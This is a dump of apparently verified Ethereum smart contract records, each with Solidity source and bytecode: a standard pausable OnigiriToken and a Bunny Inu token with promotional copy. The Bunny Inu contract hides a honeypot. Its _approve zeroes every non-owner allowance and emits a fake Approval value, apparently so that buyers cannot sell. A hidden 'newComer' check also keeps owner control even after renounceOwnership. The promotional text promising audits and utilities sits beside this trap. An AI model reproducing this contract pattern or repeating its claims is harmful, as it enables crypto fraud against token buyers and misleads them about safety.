balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /***************************************************************************** * @dev Basic implementation of the `IERC20` interface. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /***************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /***************************************************************************** * @title OnigiriToken * @dev OnigiriToken is an ERC20 implementation of the Onigiri ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. */ contract OnigiriToken is Ownable, ERC20Pausable { string public constant name = "OnigiriToken"; string public constant symbol = "ONIGIRI"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 240000*10**uint256(decimals); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public { _mint(msg.sender, initialSupply); } /** * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610421565b604080519115158252519081900360200190f35b6101f661044c565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610452565b61024661047f565b6040805160ff9092168252519081900360200190f35b6101f6610484565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610492565b6102986104b6565b005b610298600480360360208110156102b057600080fd5b503561055d565b6101da61056a565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b031661057a565b610298600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610595565b6102986105a3565b610321610651565b604080516001600160a01b039092168252519081900360200190f35b6101da610660565b610139610671565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610694565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106b8565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106dc565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610707565b6040518060400160405280600c81526020016b27b734b3b4b934aa37b5b2b760a11b81525081565b600354600090600160a01b900460ff161561043b57600080fd5b6104458383610801565b9392505050565b60025490565b600354600090600160a01b900460ff161561046c57600080fd5b610477848484610817565b949350505050565b601281565b6932d26d12e980b600000081565b600354600090600160a01b900460ff16156104ac57600080fd5b610445838361086e565b6104be610660565b61050f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052557600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056733826108aa565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b61059f8282610983565b5050565b6105ab610660565b6105fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061357600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b604051806040016040528060078152602001664f4e494749524960c81b81525081565b600354600090600160a01b900460ff16156106ae57600080fd5b61044583836109c8565b600354600090600160a01b900460ff16156106d257600080fd5b6104458383610a04565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61070f610660565b610760576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a55760405162461bcd60e51b8152600401808060200182810382526026815260200180610d1a6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061080e338484610a11565b50600192915050565b6000610824848484610afd565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461086491869161085f908663ffffffff610c3f16565b610a11565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080e91859061085f908663ffffffff610c9c16565b6001600160a01b0382166108ef5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d626021913960400191505060405180910390fd5b600254610902908263ffffffff610c3f16565b6002556001600160a01b03821660009081526020819052604090205461092e908263ffffffff610c3f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098d82826108aa565b6001600160a01b03821660009081526001602090815260408083203380855292529091205461059f91849161085f908563ffffffff610c3f16565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080e91859061085f908663ffffffff610c3f16565b600061080e338484610afd565b6001600160a01b038316610a565760405162461bcd60e51b8152600401808060200182810382526024815260200180610da86024913960400191505060405180910390fd5b6001600160a01b038216610a9b5760405162461bcd60e51b8152600401808060200182810382526022815260200180610d406022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b425760405162461bcd60e51b8152600401808060200182810382526025815260200180610d836025913960400191505060405180910390fd5b6001600160a01b038216610b875760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf76023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bb0908263ffffffff610c3f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be5908263ffffffff610c9c16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c96576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610445576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a723158206be6dd39ab41e9b929cb5de6dce452ae849618388bcc22ed67543e869a46cec664736f6c63430005110032
{"success": true, "error": null, "results": {}}
246
0x66f4770c75b2bea1a04d5635e69bc52552f6e73f
/** *Submitted for verification at Etherscan.io on 2021-12-22 */ /* Bunny Inu is the CUTEST new animal token ready to hop and make history to the DeFi Zoo! Bunny Inu ($BUNNY) is being carefully constructed by a team with over two years of experience, meaning they know what it takes to make a token absolutely MOON! Coming soon to Uniswap, boasting POWERFUL utilities including: 🐰 BunnySwap! The cutest new way to trade your ERC-20 tokens! 🐰 CarrotFarms! A hot new way to make your income multiply like Bunnies! 🐰 NFTs! Cute AND collectible! 🐰 P2E Bunny Inu game! 🐰 Certik audit! Know your Bunny is SAFE! 🐰 And MUCH more we can't talk about yet! So what are you waiting for? HOP UP! 💬: https://t.me/BunnyInu 🐦: https://twitter.com/BunnyInu_Eth 💻: https://bunnyinu.io/ 📖: https://www.facebook.com/Bunny-Inu-103182288891538/ 🛑: https://new.reddit.com/user/bunnyinu */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract BunnyInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**6* 10**18; string private _name = 'Bunny Inu ' ; string private _symbol = 'BUNNY'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209b7d516b9e770ab93bff0d5abb247501bf842916db3cbd0ed4492910e2e6ba2f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
247
0x902d36d6234d2351f390a44ece4ade36b75ff871
